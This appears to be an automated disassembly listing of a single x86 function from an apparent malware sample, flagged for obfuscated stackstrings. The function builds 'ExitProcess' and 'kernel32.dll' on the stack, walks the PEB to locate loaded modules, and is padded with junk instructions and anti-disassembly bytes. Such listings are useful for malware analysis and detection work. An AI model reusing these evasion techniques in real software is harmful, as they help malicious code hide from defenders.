Function at 0x412ee3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov edx, dword [ebp - 0x500]
add edx, 1
mov dword [ebp - 0x500], edx
push ebx
push ebx
add esp, 4
jmp 0x412c1b
or ebx, 0x278d
or ebx, 0x6896
jmp 0x412c2c
pop ebx
push edx
push edi
add esp, 4
or edx, 0x4086
xor edx, 0x13467
pop edx
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x412c87
push edi
push eax
add esp, 4
or edi, 0x7383
pop edi
push edx
push ebx
add esp, 4
or edx, 0x13efd
and edx, 0x163e5
xor edx, 0x119b0
or edx, 0x10565
pop edx
push ebx
add ebx, 0x10330
pop ebx
jmp 0x412eb5
mov dword [ebp - 0xc88], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xac0], ecx
push eax
call 0x412cab
add byte [ecx + 0x42], al
dec eax
xor al, 0x34
cmp al, byte [esi - 0x7d]
les eax, [ecx + eax*4]
shl byte [edx + edx*2], 1
add byte [eax + 0x51], bl
push ebx
add esp, 4
sub ecx, 0x6f14
or ecx, 0x1753e
pop ecx
push ecx
and ecx, 0x11823
pop ecx
mov edx, dword [ebp - 0x15d0]
mov dword [ebp - 0xabc], edx
mov dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0x500]
cmp eax, dword [ebp - 0x15d0]
jne 0x412d36
push ecx
push edi
add esp, 4
sub ecx, 0xe42a
add ecx, 0x79d6
xor ecx, 0x3a58
and ecx, 0xae22
pop ecx
push ecx
xor ecx, 0x12bbc
xor ecx, 0x12f7
xor ecx, 0x14256
pop ecx
mov ecx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], ecx
jmp 0x412e67
cmp dword [ebp - 0xc88], 0
jle 0x412e5b
add dword [eax], eax
invalid
add dword [eax], eax
add byte [esi - 0x7f], dl
out 0xa, al
stosb byte es:[edi], al
add byte [eax], al
push esi
and esi, 0xaa0a
pop esi
push ecx
push ebx
add esp, 4
xor ecx, 0x1308b
or ecx, 0x128f0
or ecx, 0xd08d
pop ecx
push edi
push edi
add esp, 4
jmp 0x412d6e
sub edi, 0xfd19
pop edi
mov edx, dword [ebp - 0xac0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xabc]
movzx edx, byte [ecx]
cmp eax, edx
je 0x412df7
push edx
push esi
add esp, 4
jmp 0x412d98
and edx, 0x17b7d
sub edx, 0x16602
sub edx, 0x12eeb
pop edx
push esi
push ecx
add esp, 4
add esi, 0x7d4f
xor esi, 0x7458
pop esi
mov eax, dword [ebp - 0xac0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xabc]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x412ddf
mov dword [ebp - 0x15a0], 1
jmp 0x412de9
mov dword [ebp - 0x15a0], 0xffffffff
mov ecx, dword [ebp - 0x15a0]
mov dword [ebp - 0xc8c], ecx
jmp 0x412e5b
push edi
push esi
add esp, 4
or edi, 0x12219
add dword [eax], eax
pop edi
push edi
sub edi, 0x10172
add edi, 0xcba4
or edi, 0x17dd4
call 0x412e25
add byte [ebx], dh
cmp dh, byte [0x40423d39]
aaa
xor al, 0x83
les eax, [edi + ebx*2]
mov edx, dword [ebp - 0xc88]
sub edx, 1
mov dword [ebp - 0xc88], edx
mov eax, dword [ebp - 0xac0]
add eax, 1
mov dword [ebp - 0xac0], eax
mov ecx, dword [ebp - 0xabc]
add ecx, 1
mov dword [ebp - 0xabc], ecx
jmp 0x412d36
mov edx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], edx
cmp dword [ebp - 0x15d4], 0
jne 0x412eb0
push eax
add eax, 0x16f50
pop eax
push edx
push eax
add esp, 4
xor edx, 0x10a14
add edx, 0xc25b
pop edx
push ecx
push edx
add esp, 4
and ecx, 0x28c3
and ecx, 0x5cd4
or ecx, 0xaade
pop ecx
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0xab8], eax
jmp 0x412ef1
jmp 0x412bfe
push edi
jmp 0x412ebd
sub edi, 0x9661
call 0x412ed1
add byte [esi + 0x45], cl
dec edi
cmp eax, 0x4c504e38
add esp, 4
call 0x412ee3
add byte [esp + edi], bh
dec edx
inc eax
dec edi
aas
dec eax
inc ecx
cmp eax, dword [ebx - 0x38a0fb3c]
test dword [eax - 0xb], ecx
invalid
push ecx
and ecx, 0x7e14
jmp 0x412efe
add ecx, 0xacbe
pop ecx
push edi
push ecx
add esp, 4
sub edi, 0x5c89
or edi, 0x11ad7
pop edi
push ebx
push ebx
add esp, 4
or ebx, 0xb684
pop ebx
mov byte [ebp - 0x878], 0x45
mov byte [ebp - 0x877], 0x78
mov byte [ebp - 0x876], 0x69
mov byte [ebp - 0x875], 0x74
mov byte [ebp - 0x874], 0x50
mov byte [ebp - 0x873], 0x72
mov byte [ebp - 0x872], 0x6f
mov byte [ebp - 0x871], 0x63
mov byte [ebp - 0x870], 0x65
mov byte [ebp - 0x86f], 0x73
mov byte [ebp - 0x86e], 0x73
mov byte [ebp - 0x86d], 0
push ebx
push eax
add esp, 4
sub ebx, 0x16139
call 0x412f91
add byte [ecx + 0x46], cl
inc ebp
inc ecx
dec edi
inc esp
cmp eax, 0x4c48338
pop ebx
push edi
push ebx
add esp, 4
and edi, 0x1422f
jmp 0x412fa8
pop edi
mov ecx, 0x6b
mov word [ebp - 0x1738], cx
mov edx, 0x65
mov word [ebp - 0x1736], dx
mov eax, 0x72
mov word [ebp - 0x1734], ax
mov ecx, 0x6e
mov word [ebp - 0x1732], cx
mov edx, 0x65
mov word [ebp - 0x1730], dx
mov eax, 0x6c
mov word [ebp - 0x172e], ax
mov ecx, 0x33
mov word [ebp - 0x172c], cx
mov edx, 0x32
mov word [ebp - 0x172a], dx
mov eax, 0x2e
mov word [ebp - 0x1728], ax
mov ecx, 0x64
mov word [ebp - 0x1726], cx
mov edx, 0x6c
mov word [ebp - 0x1724], dx
mov eax, 0x6c
mov word [ebp - 0x1722], ax
xor ecx, ecx
mov word [ebp - 0x1720], cx
push edi
push ebx
add esp, 4
jmp 0x41304f
xor edi, 0x12624
sub edi, 0xdde7
pop edi
push ecx
push edx
add esp, 4
or ecx, 0x10c3a
jmp 0x41306e
jmp 0x413073
pop ecx
push edx
and edx, 0x81d3
jmp 0x413081
xor edx, 0x1059
and edx, 0x4907
pop edx
push edx
push ebx
add esp, 4
xor edx, 0x1bd0
add edx, 0x13bc
and edx, 0x50e3
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1954], edx
mov eax, dword [ebp - 0x1954]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1958], ecx
mov edx, dword [ebp - 0x1958]
mov dword [ebp - 0x15d8], edx
push edx
or edx, 0x146fa
xor edx, 0x31ec
xor edx, 0x1189b
pop edx
push ecx
call 0x4130f0
add byte [ecx + 0x3a], al
inc ebx
cmp dword [ebp + 0x46], eax
dec esp
add esp, 4
or ecx, 0x773a
sub ecx, 0xa70a
pop ecx
cmp dword [ebp - 0x15d8], 0
jne 0x413118
mov dword [ebp - 0x31c], 0
jmp 0x4133d4
mov eax, dword [ebp - 0x15d8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc98], edx
push edx
and edx, 0x71c7
pop edx
push edx
push ecx
add esp, 4
or edx, 0x25a7
and edx, 0x991a
call 0x413152
add byte [ebx + 0x3b], al
cmp dword [esi], edi
dec ebx
inc esp
push eax
cmp dword [esi], esi
add esp, 4
sub edx, 0x134cc
pop edx
cmp dword [ebp - 0xc98], 0
jne 0x413174
mov dword [ebp - 0x31c], 0
jmp 0x4133d4
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0x504], eax